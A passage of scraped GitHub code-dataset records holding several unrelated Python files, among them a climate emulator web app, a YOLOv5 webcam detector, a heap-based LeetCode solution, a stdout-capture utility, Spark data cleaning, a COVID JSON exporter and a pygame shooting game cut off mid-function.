ax=cache['axs'], orientation='horizontal', shrink=0.95, pad=0.05, spacing='uniform', extend='max')\n # cbar.set_label('Difference (2100 - today) global temperature increase in °C')\n cbar.ax.set_xscale('linear')\n cache['axs'].coastlines()\n\n # En-roads prefers no caption in image.\n\n # Display the map on the webdemo using streamlit\n st.pyplot(cache['fig'])\n\n st.write(f\"\"\"\n - About:\n - Developer: Björn Lütjens, MIT EAPS, blutjens.github.io\n - Funded by BC3 Bringing Computation to the Climate Challenge Grant at MIT\n - There is a tutorial to this demo at: https://github.com/blutjens/climate-emulator-tutorial/\n - This demo is NOT displaying true climate data. We refer to the IPCC report for the most up-to-date climate data.\n - Data description:\n - The input is the cumulative CO2 emissions (GtCO2) since 1850.\n - The plot shows the surface temperature anomalies with respec to a baseline temperature. The baseline temperature is the average over 1850-1880. \n - The model is made of two linear models. The first model maps global co2 to global tas. The second model is a linear pattern scaling model that maps global tas onto local tas. The model was trained on historical data until 2014 and the ensemble average of 3 NorESM2 model runs of {cache['baseline_scenario']} scenario for 2015 and onwards. The model was train on the scenarios ssp126, ssp370, ssp585, hist-GHG, hist-aer.\n - The global averages use cosine weights to approximate the grid cell area.\n - Known errors:\n - The underlying data from only three NorESM2 realizations contains too much internal variability. A better model needs to be fit on an average of CMIP6 models and more ensemble members.\n - The predictive model is linear and as such imperfect. For example, in the ssp245 test scenario the model underpredicts the cooling in the North Atlantic Warming hole. The model also slightly overpredicts warming in the Russian Arctic.\n - ProjError: transform error: Invalid coordinate: This error occurs when the slider is moved repeatidly before the calculation is finished. No known fix.\n - Doesn't work on safari or edge.\n \"\"\")","repo_name":"climate-viz/climate-emulator-tutorial","sub_path":"run_climate_pocket_webapp.py","file_name":"run_climate_pocket_webapp.py","file_ext":"py","file_size_in_byte":10315,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"47"} +{"seq_id":"27802415535","text":"import torch\r\nimport numpy as np\r\nimport cv2\r\nimport imutils\r\nimport sys\r\nimport time\r\nimport yaml\r\nimport os\r\nimport json\r\nimport warnings\r\nwarnings.filterwarnings(\"ignore\")\r\n\r\n\r\n# https://github.com/ultralytics/yolov5/issues/6460#issuecomment-1023914166\r\n# https://github.com/ultralytics/yolov5/issues/36\r\n\r\n\r\n# Loading Model\r\nmodel = torch.hub.load(\"yolov5\", 'custom', path=\"yolov5/runs/train/exp/weights/yolo_weights.pt\", source='local') # local repo\r\n#model = torch.hub.load(\"yolov5\", 'custom', path=\"yolov5/runs/train/exp/weights/yolo_weights.pt\", source='local', force_reload=True) # local repo\r\n\r\n\r\n# Configuring Model\r\nmodel.cpu() # .cpu() ,or .cuda()\r\nmodel.conf = 0.25 # NMS confidence threshold\r\nmodel.iou = 0.45 # NMS IoU threshold\r\nmodel.agnostic = False # NMS class-agnostic\r\nmodel.multi_label = False # NMS multiple labels per box\r\nmodel.classes = None # (optional list) filter by class, i.e. = [0, 15, 16] for COCO persons, cats and dogs\r\nmodel.max_det = 20 # maximum number of detections per image\r\nmodel.amp = False # Automatic Mixed Precision (AMP) inference\r\n\r\n\r\n\r\n\r\n# Function to draw Centroids on the deteted objects and returns updated image\r\ndef draw_centroids_on_image(output_image, json_results): \r\n data = json.loads(json_results) # Converting JSON array to Python List\r\n # Accessing each individual object and then getting its xmin, ymin, xmax and ymax to calculate its centroid\r\n for objects in data:\r\n xmin = objects[\"xmin\"]\r\n ymin = objects[\"ymin\"]\r\n xmax = objects[\"xmax\"]\r\n ymax = objects[\"ymax\"]\r\n \r\n #print(\"Object: \", data.index(objects))\r\n #print (\"xmin\", xmin)\r\n #print (\"ymin\", ymin)\r\n #print (\"xmax\", xmax)\r\n #print (\"ymax\", ymax)\r\n \r\n #Centroid Coordinates of detected object\r\n cx = int((xmin+xmax)/2.0)\r\n cy = int((ymin+ymax)/2.0) \r\n #print(cx,cy)\r\n \r\n cv2.circle(output_image, (cx,cy), 2, (0, 0, 255), 2, cv2.FILLED) #draw center dot on detected object\r\n cv2.putText(output_image, str(str(cx)+\" , \"+str(cy)), (int(cx)-40, int(cy)+30), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0,0,255), 1, cv2.LINE_AA)\r\n\r\n return (output_image)\r\n \r\n\r\n\r\n\r\nif __name__ == \"__main__\": \r\n while(1):\r\n try:\r\n #Start reading camera feed (https://answers.opencv.org/question/227535/solvedassertion-error-in-video-capturing/))\r\n cap = cv2.VideoCapture(0, cv2.CAP_DSHOW)\r\n cap.set(cv2.CAP_PROP_FRAME_WIDTH, 1280)\r\n cap.set(cv2.CAP_PROP_FRAME_HEIGHT, 720)\r\n \r\n #Now Place the base_plate_tool on the surface below the camera.\r\n while(1):\r\n _,frame = cap.read()\r\n #frame = undistortImage(frame)\r\n #cv2.imshow(\"Live\" , frame)\r\n k = cv2.waitKey(5)\r\n if k == 27: #exit by pressing Esc key\r\n cv2.destroyAllWindows()\r\n sys.exit()\r\n #if k == 13: #execute detection by pressing Enter key \r\n image = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB) # OpenCV image (BGR to RGB)\r\n \r\n # Inference\r\n results = model(image, size=720) #includes NMS\r\n\r\n # Results\r\n #results.print() # .print() , .show(), .save(), .crop(), .pandas(), etc.\r\n #results.show()\r\n\r\n results.xyxy[0] # im predictions (tensor)\r\n results.pandas().xyxy[0] # im predictions (pandas)\r\n # xmin ymin xmax ymax confidence class name\r\n # 0 749.50 43.50 1148.0 704.5 0.874023 0 person\r\n # 2 114.75 195.75 1095.0 708.0 0.624512 0 person\r\n # 3 986.00 304.00 1028.0 420.0 0.286865 27 tie\r\n \r\n #Results in JSON\r\n json_results = results.pandas().xyxy[0].to_json(orient=\"records\") # im predictions (JSON)\r\n #print(json_results)\r\n \r\n results.render() # updates results.imgs with boxes and labels \r\n output_image = results.imgs[0] #output image after rendering\r\n output_image = cv2.cvtColor(output_image, cv2.COLOR_RGB2BGR)\r\n \r\n output_image = draw_centroids_on_image(output_image, json_results) # Draw Centroids on the deteted objects and returns updated image\r\n \r\n cv2.imshow(\"Output\", output_image) #Show the output image after rendering\r\n #cv2.waitKey(1)\r\n \r\n \r\n \r\n except Exception as e:\r\n print(\"Error in Main Loop\\n\",e)\r\n cv2.destroyAllWindows()\r\n sys.exit()\r\n \r\n cv2.destroyAllWindows()\r\n \r\n \r\n ","repo_name":"TehseenHasan/yolo5-object-detection-and-centroid-finding","sub_path":"yolo5_detection.py","file_name":"yolo5_detection.py","file_ext":"py","file_size_in_byte":4903,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"47"} +{"seq_id":"73333169742","text":"class MaxHeap:\n def __init__(self, arr):\n self.h = arr[::]\n for i in reversed(range(len(self.h))):\n self._siftDown(i)\n \n def _swap(self, l, r):\n self.h[l], self.h[r] = self.h[r], self.h[l]\n \n def _siftDown(self, i):\n n = len(self.h)\n l = i * 2 + 1\n while l < n:\n r = i * 2 + 2\n if r >= n or self.h[l] > self.h[r]:\n j = l\n else:\n j = r\n if self.h[j] > self.h[i]:\n self._swap(j, i)\n i = j\n l = i * 2 + 1\n else:\n break\n \n def _siftUp(self, i):\n p = (i - 1) // 2\n while i > 0 and self.h[p] < self.h[i]:\n self._swap(p, i)\n i = p\n p = (i - 1) // 2\n \n def size(self):\n return len(self.h)\n \n def peek(self):\n return self.h[0]\n \n def push(self, val):\n self.h.append(val)\n self._siftUp(len(self.h) - 1)\n \n def pop(self):\n if len(self.h) == 1:\n self.h.pop()\n elif len(self.h) > 1:\n self._swap(0, len(self.h) - 1)\n self.h.pop()\n self._siftDown(0)\n \nclass KthLargest:\n\n def __init__(self, k: int, nums: List[int]):\n self.k = k\n self.h = MaxHeap([-num for num in nums])\n\n def add(self, val: int) -> int:\n self.h.push(-val)\n while self.h.size() > self.k:\n self.h.pop()\n return -self.h.peek()\n \n# Your KthLargest object will be instantiated and called as such:\n# obj = KthLargest(k, nums)\n# param_1 = obj.add(val)","repo_name":"adnanyaqoobvirk/leetcode","sub_path":"0703-kth-largest-element-in-a-stream/0703-kth-largest-element-in-a-stream.py","file_name":"0703-kth-largest-element-in-a-stream.py","file_ext":"py","file_size_in_byte":1675,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"8563702236","text":"import sys\nimport typing as t\nfrom functools import wraps\nfrom io import StringIO\n\n\nclass MemoryOverflow(Exception):\n def __init__(\n self,\n message: t.Optional[str] = None,\n used_memory: t.Optional[int] = None,\n max_memory: t.Optional[int] = None,\n *args, **kwargs\n ) -> None:\n if not message:\n message = \"Maximum STDOUT/STDERR memory surpassed\"\n if used_memory is not None and max_memory is not None:\n message += f\"({used_memory} > {max_memory})\"\n\n self.used_memory = used_memory\n self.max_memory = max_memory\n self.message = message\n\n super().__init__(message, *args, **kwargs)\n\n\nclass LimitedStringIO(StringIO):\n \"\"\"Override `io.StringIO` and apply a maximum memory limitation\"\"\"\n def __init__(self, max_memory: int, initial_value: t.Optional[str] = None, newline: t.Optional[str] = None) -> None:\n super().__init__(initial_value=initial_value, newline=newline)\n self.max_memory = max_memory\n\n def write(self, __s: str) -> int:\n \"\"\"Override write method to apply memory limitation.\"\"\"\n used_memory = sys.getsizeof(__s) + sys.getsizeof(self.getvalue())\n if used_memory <= self.max_memory:\n return super().write(__s)\n else:\n raise MemoryOverflow(used_memory=used_memory, max_memory=self.max_memory)\n\n def __repr__(self) -> str:\n return f\"\"\n\n\nclass IOCage:\n \"\"\"\n This class is used to capture STDOUT and STDERR, while able to simulate STDIN\n to given function it can work as a wrapper, decorator or context manager.\n\n Context Manager:\n captured_std = IOCage(stdin='bye') # `stdin` as a param to init. If not specified, STDIN won't be simulated.\n with captured_std:\n print(\"hello\")\n print(input()) # Will print 'bye' to stdout\n\n captured_std.stdout # <-- will contain the captured STDOUT (str)\n\n Wrapper:\n def foo(*args, **kwargs):\n print(\"hello\")\n\n captured_std = IOCage()\n captured_std.capture(foo, args=None, kwargs=None)\n\n captured_std.stdout # <-- will contain the captured STDOUT (str)\n\n Decorator:\n captured_std = IOCage()\n\n @captured_std\n def foo(*args, **kwargs):\n print(\"hello\")\n\n foo(*args, **kwargs)\n\n captured_std.stdout # <-- will contain the captured STDOUT (str)\n\n You can also use captured_std.stderr to obtain captured STDERR.\n\n If you don't want to lose STDOUT/STDERR captured values after function is done running,\n you can specify `auto_reset=False` on init and run `IOCage.reset` manually when needed.\n You can also specify `memory_limit=100_000` in bytes (100kB) which will limit saved\n std storage size to that amount.\n \"\"\"\n\n def __init__(\n self,\n auto_reset: bool = True,\n memory_limit: int = 100_000,\n stdin: t.Optional[str] = None,\n enable_stdout: bool = True,\n enable_stderr: bool = True,\n ):\n self.auto_reset = auto_reset\n self.memory_limit = memory_limit\n\n self.enable_stdout = enable_stdout\n self.enable_stderr = enable_stderr\n\n self.stdout_funnel = LimitedStringIO(self.memory_limit)\n self.stderr_funnel = LimitedStringIO(self.memory_limit)\n self.stdin_funnel = StringIO(stdin) if stdin else None\n\n self.old_stdout = sys.stdout\n self.old_stderr = sys.stderr\n self.old_stdin = sys.stdin\n\n @property\n def stdout(self) -> str:\n \"\"\"\n Return captured STDOUT in form of string. This will\n return empty string in case no STDOUT was captured.\n \"\"\"\n return self.stdout_funnel.getvalue()\n\n @property\n def stderr(self) -> str:\n \"\"\"\n Return captured STDERR in form of string. This will\n return empty string in case no STDERR was captured.\n \"\"\"\n return self.stderr_funnel.getvalue()\n\n def set_stdin(self, stdin: t.Optional[str]) -> None:\n \"\"\"Set new STDIN string to be used.\"\"\"\n self.stdin_funnel = StringIO(stdin) if stdin else None\n\n def __enter__(self) -> None:\n \"\"\"\n Temporarely override `sys.stdout`, `sys.stdin` and `sys.stderr`\n to use `LimitedStringIO` to capture standard output & error.\n\n Captured STDOUT/STDERR can be obtained by accessing\n `IOCage.stdout`/`IOCage.stderr`.\n \"\"\"\n if self.auto_reset:\n self.reset()\n\n self.override_std()\n\n def __exit__(self, exc_type, exc_val, exc_tb) -> None:\n \"\"\"\n Restore the normal STDOUT/STDERR/STDIN capabilities.\n \"\"\"\n self.restore_std()\n\n def __call__(self, func: t.Callable) -> t.Any:\n \"\"\"\n This decorates given `func` and captures it's STDOUT/STDERR\n while simulating it's STDIN, if `self.stdin` is set.\n Return value will be the original return from `func`\n\n STDOUT & STDERR will be captured and can be obtained by doing\n `IOCage.stdout`/`IOCage.stderr`.\n\n The functionality is handeled in `IOCage.capture`, this method\n serves only as a decorator for given `func`.\n \"\"\"\n @wraps(func)\n def inner(*args, **kwargs) -> t.Any:\n return self.capture(func, args, kwargs)\n return inner\n\n def capture(self, func: t.Callable, args=None, kwargs=None) -> t.Any:\n \"\"\"\n This runs given `func` while capturing it's STDOUT/STDERR\n and simulating it's STDIN.\n Return value will be the original return from `func`.\n\n STDOUT & STDERR will be captured and can be obtained by doing\n `IOCage.stdout`/`IOCage.stderr`.\n\n This acts as a wrapper for given `func`, it immediately runs it,\n (if you want to decorate, call instance directly - `__call__`)\n \"\"\"\n if args is None:\n args = tuple()\n if kwargs is None:\n kwargs = dict()\n\n if self.auto_reset:\n self.reset()\n\n with self:\n return func(*args, **kwargs)\n\n def override_std(self) -> None:\n \"\"\"\n Override `sys.stdout`, `sys.stdin` and `sys.stderr` to use\n `StringIO` instead to capture standard output & error.\n \"\"\"\n if not isinstance(sys.stdout, StringIO) and self.enable_stdout:\n sys.stdout = self.stdout_funnel\n if not isinstance(sys.stderr, StringIO) and self.enable_stderr:\n sys.stderr = self.stderr_funnel\n if not isinstance(sys.stdin, StringIO) and self.stdin_funnel is not None:\n sys.stdin = self.stdin_funnel\n\n def restore_std(self) -> None:\n \"\"\"\n Revert override of `sys.stdout` and `sys.stderr`\n to restore normal printing capabilities without capturing.\n \"\"\"\n if isinstance(sys.stdout, LimitedStringIO):\n sys.stdout = self.old_stdout\n if isinstance(sys.stderr, LimitedStringIO):\n sys.stderr = self.old_stderr\n if isinstance(sys.stdin, StringIO):\n sys.stdin = self.old_stdin\n\n def reset(self) -> None:\n \"\"\"Reset stored captured stdout & stderr strings.\"\"\"\n self.stdout_funnel = LimitedStringIO(self.memory_limit)\n self.stderr_funnel = LimitedStringIO(self.memory_limit)\n\n def __repr__(self) -> str:\n return f\" str | None:\n \"\"\"Parse the set of course authors, returning the first author.\n\n Args:\n val (list): Raw value of course authors.\n\n Returns:\n str | None: First author of course, returns `None` if list is empty.\n \"\"\"\n\n return val[0] if val is None or len(val) == 0 else None\n\n\ndef process_votes_field(val: str) -> int | None:\n \"\"\"Parse votes number field, extracting digits.\n\n Args:\n val (str): Raw value of course votes.\n\n Returns:\n int | None: Parsed votes number.\n \"\"\"\n\n return int(val[1:-1].replace(\",\", \"\")) if val is None else None\n\n\ndef process_rating_field(val: str) -> float | None:\n \"\"\"Parse rating number with valid range from 0.0 to 5.0.\n\n Args:\n val (str): Raw value of course rating.\n\n Returns:\n float | None: Parsed course rating.\n \"\"\"\n\n if len(val) == 0:\n return None\n\n return reduce(\n lambda x, y: x + y,\n (0.5 if x == \"fa fa-star-half-o\" else 1.0 for x in val.split(\";\"))\n )\n\n\ndef process_duration_field(val: str) -> float | None:\n \"\"\"Parse duration field. Returns sum of approximate hours of video and text data.\n\n Args:\n val (str): Raw value of course duration.\n\n Returns:\n float | None: Parsed duration value in hours.\n \"\"\"\n\n parsed_minutes = re.findall(r\"\\d+\", val)\n\n if len(parsed_minutes) == 0:\n return None\n\n parsed_hours = reduce(lambda x, y: x + y, (float(int(x)) for x in parsed_minutes)) / 60.0\n rounded_hours = float(np.round(parsed_hours, decimals=1))\n\n return 0.1 if rounded_hours == 0.0 else rounded_hours\n\n\nprocess_author_field_udf = udf(lambda x: process_author_field(x), StringType())\nprocess_votes_field_udf = udf(lambda x: process_votes_field(x), IntegerType())\nprocess_rating_field_udf = udf(lambda x: process_rating_field(x), DoubleType())\nprocess_duration_field_udf = udf(lambda x: process_duration_field(x), DoubleType())\n\n\ndef process_pluralsight_df(df: DataFrame) -> DataFrame:\n \"\"\"Immutable processing of a dataframe.\n\n Args:\n df (DataFrame): Unprocessed EdX dataframe.\n\n Returns:\n DataFrame: New processed dataframe.\n \"\"\"\n\n return df.select(\n clean_text_udf(col(\"title\")).alias(\"title\"),\n process_author_field_udf(col(\"authors\")).alias(\"author\"),\n process_rating_field_udf(col(\"rating\")).alias(\"rating\"),\n process_votes_field_udf(col(\"votes_count\")).alias(\"votes_count\"),\n col(\"students_count\"), col(\"level\"),\n process_duration_field_udf(col(\"duration\")).alias(\"duration\"),\n col(\"platform\"), col(\"free\")\n )\n\n","repo_name":"antonAce/streamlit-ds-courses","sub_path":"pipeline/entity/pluralsight.py","file_name":"pluralsight.py","file_ext":"py","file_size_in_byte":2873,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"32855887049","text":"import time\nfrom itertools import cycle\nfrom collections import deque\n\n###\n\ndef insert_marble(circle, marble, position):\n circle.rotate(-position)\n circle.appendleft(marble)\n circle.rotate(position)\n\ndef game(player_count, marble_count):\n print(f'{player_count} player_count, {marble_count} marble_count')\n # setup game\n players = {i + 1: 0 for i in range(player_count)}\n marbles = list(range(1, marble_count+1))\n circle = deque([0])\n current = 0\n last_position = 0\n current_position = 0\n player = 1\n # play\n for i in cycle(range(9)):\n # show game state\n print('= ' * 20)\n print(' Players :', players)\n print(' Marbles :', marbles)\n print(' Circle :', circle)\n next_marble = marbles.pop(0)\n # print(' Next :', next_marble)\n current_position = last_position + 2\n if next_marble % 23 == 0:\n print(' ↳ Multiple of 23')\n circle.rotate(7)\n players[i] += 23 + circle.pop()\n circle.rotate(-1)\n else:\n insert_marble(circle, next_marble, current_position)\n last_position = current_position\n if next_marble == 25:\n break\n\n###\n\nstart_time = time.time()\n\nprint('\\nPart 1')\nprint(game(player_count=9, marble_count=25))\n\nprint(f'\\n >> Completed in { time.time() - start_time } seconds.')\n","repo_name":"mbwatson/aoc","sub_path":"2018/day09_Marble-Mania/day09.py","file_name":"day09.py","file_ext":"py","file_size_in_byte":1386,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"27786783947","text":"import os; os.environ[\"TF_CPP_MIN_LOG_LEVEL\"] = \"2\"\r\n\r\nimport yaml, tensorflow.keras.models, sys\r\nfrom support.ProVe import ProVe\r\nfrom support.main_acas import main as acas_main\r\nfrom support.main_navigation import navigation_main\r\nfrom support.verifier import recursive_verifier\r\n\r\ndef main():\r\n\r\n ymlfile = open(\"config/example.yml\", 'r')\r\n job_config = yaml.safe_load(ymlfile)\r\n\r\n profiler_active = job_config['profiler']\r\n\r\n job_name = job_config['job_name']\r\n model_name = job_config['model_name']\r\n\r\n loaded_model = tensorflow.keras.models.load_model(\"trained_model/{}.h5\".format(job_config['model_name'])) # if loadable with standard value\r\n\r\n input_means = job_config['input_means']\r\n input_ranges = job_config['input_ranges']\r\n\r\n condition_a = job_config['condition_a']\r\n condition_b = job_config['condition_b'] \r\n property_mode = job_config['property_mode'] \r\n\r\n input_area = job_config['input_area']\r\n\r\n basic_iteration = job_config['basic_iteration'] \r\n round_eps = job_config['round'] \r\n\r\n gpu_memory_pool = job_config['gpu_memory_pool'] \r\n cpu_memory_pool = job_config['cpu_memory_pool'] \r\n\r\n heuristic = job_config['heuristic'] \r\n\r\n analysis_mode = job_config['analysis_mode'] \r\n semi_formal_prec = job_config['semi_formal_precision'] \r\n\r\n recursive_verifier(\r\n loaded_model, input_area, basic_iteration, round_eps, heuristic, condition_a, condition_b, \r\n property_mode, gpu_memory_pool, cpu_memory_pool, input_means, input_ranges, analysis_mode, semi_formal_prec,\r\n profiler_active, job_name, model_name\r\n )\r\n\r\nif __name__ == \"__main__\":\r\n if(sys.argv[1] == \"-custom\"): main()\r\n elif(sys.argv[1] == \"-ACAS\"): acas_main(int(sys.argv[2]))\r\n elif(sys.argv[1] == \"-water\"): navigation_main()\r\n else: raise ValueError(f\"Invalid command: '{sys.argv[1]}' (options: [-ACAS *n*, -water, -custom])\")\r\n","repo_name":"d-corsi/ProVe","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1920,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"} +{"seq_id":"31314490299","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Apr 23 15:09:11 2020\n\n@author: Laurens roos\n\"\"\"\n\n\n\n\"\"\"\n_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/\n\nName: structure_for_date\n\nPurpose: Structure an SQL data array containing a set of Gemeentecode and Aantal \nand structure it into an target array in such a way that the JSON file can be generated\n\nExpected input: Date as Datetime.date format, Target Array as array, Source as SQL list\n\nExpected output: target array as array\n\nDependancies: none\n\n\"\"\"\n\ndef structure_for_date(Date, Target, Source):\n temp_data_set ={}\n for Gemeentecode, Aantal in Source:\n temp_data_set[str(Gemeentecode)] = Aantal\n Target[str(Date)] = temp_data_set\n return(Target)\n\"\"\"\n_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/\n\nName: save_JSON\n\nPurpose: save a given structured array as JSON file to the drive\n\nExpected input: Target Array as array, file name as string, possible alternative location as string\n\nExpected output: File saved file in /outputs/[filename].json\n \nDependancies: json library\n\"\"\"\nimport json\ndef save_JSON(target, filename=\"output\", location = \"../outputs/\"):\n with open('{}{}.json'.format(location,filename), 'w') as outfile:\n json.dump(target, outfile)\n\"\"\"\n_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/\n\nName: structure_array\n\nPurpose: get an array of dates and get the corrosponding data from the database, \nStructure this data into an array for the json export\n\nExpected input: table name as string, SQL query result as array, object for mysql helper to initialize the cursor\n\nExpected output: structured array for JSON save.\n \nDependancies: mysql connect\n\"\"\"\nimport mysql.connector\n\ndef structure_array(table_name, source, cnx):\n json_output_data = {}\n sellect_all_gemeentes_per_date = (\"SELECT Gemeentecode, Aantal FROM `{}` WHERE Datum ='{}'\")\n search_for_datum_cursor = cnx.cursor()\n for Datum in source:\n search_for_datum_cursor.execute(sellect_all_gemeentes_per_date.format(table_name,Datum[0]))\n json_output_data=structure_for_date(Datum[0],json_output_data,search_for_datum_cursor)\n return json_output_data\n\"\"\"\n_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/\n\nName: get_date\n\nPurpose: to get all unique dates from a database\n\nExpected input: table name as string , object for mysql helper to initialize the cursor\n\nExpected output: sql array\n \nDependancies: mysql connect\n\"\"\"\ndef get_date(table_name, cnx):\n select_all_datums_in_database = (\"SELECT DISTINCT Datum FROM {} ORDER BY Datum ASC\")\n check_datum_cursor = cnx.cursor()\n check_datum_cursor.execute(select_all_datums_in_database.format(table_name)) #select all Unique datums from the database\n return check_datum_cursor.fetchall()\n\"\"\"\n_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/\n\nName: create_json\n\nPurpose: phrase an JSON file from a table name\n\nExpected input: table name as string, json storagename as string , object for mysql helper to initialize the cursor\n\nExpected output: sql array\n \nDependancies: mysql connect and json\n\"\"\"\ndef create_json(table_name,filename ,cnx , location = '../outputs/'):\n result = get_date(table_name, cnx)\n json_output_data = structure_array(table_name,result, cnx)\n save_JSON(json_output_data,filename, location)\n","repo_name":"jordy-u/COVID-19-Dashboard-NL","sub_path":"Backend/JSON_helper.py","file_name":"JSON_helper.py","file_ext":"py","file_size_in_byte":3408,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"38993267306","text":"import sys\nimport pygame\nimport random\nimport time\nimport math\nfrom settings import Settings\nfrom stage import Stage\nfrom barrier import Barriers\nfrom mirror import Mirrors\nfrom player import Player\nfrom button import Button\nfrom bullet import Bullet\nfrom text import Text\n\n\ndef run_once(func):\n def wrapper(*args, **kwargs):\n if not wrapper.has_run:\n wrapper.has_run = True\n return func(*args, **kwargs)\n wrapper.has_run = False\n return wrapper\n\n\nclass Main:\n\n def __init__(self):\n pygame.init()\n self.settings = Settings()\n self.screen = pygame.display.set_mode((0, 0), pygame.FULLSCREEN)\n self.settings.screen_width = self.screen.get_rect().width\n self.settings.screen_height = self.screen.get_rect().height\n self.settings.grid_width = (self.settings.screen_width - 200) // self.settings.num_column\n self.settings.grid_height = (self.settings.screen_height - 200) // self.settings.num_row\n pygame.display.set_caption(\"Kohki Hatori\")\n self.stage = Stage(self)\n self.barriers = Barriers(self)\n self.mirrors = Mirrors(self)\n self.players = []\n self.start_button = Button(self, \"START\")\n self._create_environment()\n self.constructing = True\n self.cheating = False\n self.real_game = False\n self.end = False\n self.bullets = []\n self.turn_ended = True\n self.no_bullet = True\n self.player_moved = False\n self.shooter = 0\n self.text = Text(self)\n self.game_active = False\n self.end_button = Button(self, \"END\")\n\n def run_game(self):\n while True:\n self._check_events()\n if self.real_game:\n self._real_game()\n self._update_screen()\n\n def _check_events(self):\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n sys.exit()\n elif event.type == pygame.KEYDOWN:\n self._check_keydown_events(event)\n elif event.type == pygame.MOUSEBUTTONDOWN:\n mouse_pos = pygame.mouse.get_pos()\n self._check_start_button(mouse_pos)\n self._check_end_button(mouse_pos)\n\n @staticmethod\n def _check_keydown_events(event):\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_q or event.key == pygame.K_ESCAPE:\n sys.exit()\n\n def _check_start_button(self, mouse_pos):\n if not self.game_active:\n if self.start_button.rect.collidepoint(mouse_pos):\n self.game_active = True\n self.constructing = True\n pygame.mouse.set_visible(False)\n self.timer = time.time()\n\n def _check_end_button(self, mouse_pos):\n if self.end:\n if self.end_button.rect.collidepoint(mouse_pos):\n sys.exit()\n\n def _create_environment(self):\n self.stage.create_stage()\n self.barriers.create_barriers()\n self.mirrors.create_mirrors()\n self._create_players()\n\n def _create_players(self):\n no_barrier = self.barriers.no_barrier_grids.copy()\n for i in range(self.settings.num_player):\n new_player = Player(self)\n new_player.colour = self.settings.player_colours[i]\n valid = False\n while not valid:\n random.shuffle(no_barrier)\n for item in no_barrier:\n if item != 0:\n choice = item\n break\n new_player.rect = choice\n if no_barrier[no_barrier.index(new_player.rect)] != 0:\n x, y = new_player.rect.centerx, new_player.rect.centery\n\n for row in range(-1, 2):\n for column in range(-1, 2):\n for grid in no_barrier:\n try:\n collision = grid.collidepoint(x - self.settings.grid_width * column,\n y - self.settings.grid_height * row)\n if collision:\n no_barrier[no_barrier.index(grid)] = 0\n except:\n pass\n valid = True\n for grid in self.stage.grids:\n collision = choice.collidepoint(grid.centerx, grid.centery)\n if collision:\n index = self.stage.grids.index(grid)\n break\n\n self.players.append(new_player)\n new_player.original_index = i\n new_player.original_grid_y = index // self.settings.num_column + 1\n new_player.original_grid_x = index - self.settings.num_column * (new_player.original_grid_y - 1) + 1\n\n def _draw_players(self):\n for player in self.players:\n player.blitme()\n\n def _collision(self, x, x_, y, y_, li):\n if x != x_:\n gradient = (y_ - y) / (x_ - x)\n y_axis_intersect = y - gradient * x\n for x in range(x, x_, -1 if x_ < x else 1):\n y = gradient * x + y_axis_intersect\n for i in li:\n if i.collidepoint(x, y):\n return True\n return False\n else:\n for y in range(y, y_, -1 if y_ < y else 1):\n for i in li:\n if i.collidepoint(x, y):\n return True\n return False\n\n def _observable(self, observer):\n observable_players = []\n other_players = self.players.copy()\n other_players.remove(observer)\n observer_x = observer.rect.centerx\n observer_y = observer.rect.centery\n for player in other_players:\n searching_x = player.rect.centerx\n searching_y = player.rect.centery\n if not self._collision(observer_x, searching_x, observer_y, searching_y, self.barriers.barrier_grids):\n observable_players.append(player)\n\n return observable_players\n\n @run_once\n def _cheat(self):\n cheater_index = random.randint(0, self.settings.num_player - 1)\n self.text.prep_cheat_text(cheater_index)\n cheater = self.players[cheater_index]\n observable_players = self._observable(cheater)\n if len(observable_players) > 0:\n self._create_bullet(cheater, random.choice(observable_players))\n else:\n self._create_bullet(cheater, 0)\n\n @run_once\n def _remove_cheater_start_real_game(self, cheater):\n self.players.remove(cheater)\n time.sleep(1)\n self.cheating = False\n self.real_game = True\n\n def _create_bullet(self, shooter, target):\n x, y = shooter.rect.centerx, shooter.rect.centery\n new_bullet = Bullet(self)\n new_bullet.shooter = shooter\n self.bullets.append(new_bullet)\n new_bullet.x, new_bullet.y = x, y\n if target != 0:\n x_, y_ = target.rect.centerx, target.rect.centery\n if x_ != x:\n change_in_y = y_ - y\n change_in_x = x_ - x\n route_length = math.sqrt(change_in_y ** 2 + change_in_x ** 2)\n gradient = change_in_y / change_in_x\n num_loop = route_length / self.settings.bullet_speed\n new_bullet.x_change_rate = change_in_x / num_loop\n new_bullet.y_change_rate = new_bullet.x_change_rate * gradient\n else:\n new_bullet.x_change_rate = 0\n new_bullet.y_change_rate = self.settings.bullet_speed if y_ > y else -self.settings.bullet_speed\n else:\n angle = random.randint(0, 360)\n if angle == 90 or angle == 270:\n if angle == 90:\n y_ = 0\n else:\n y_ = self.screen.get_height()\n change_in_y = y_ - y\n route_length = abs(change_in_y)\n num_loop = route_length / self.settings.bullet_speed\n new_bullet.x_change_rate = 0\n new_bullet.y_change_rate = change_in_y / num_loop\n else:\n gradient = -round(math.tan(math.radians(angle)), 5)\n y_axis_intersect = y - gradient * x\n width = self.screen.get_width()\n height = self.screen.get_height()\n if 0 < angle < 180:\n 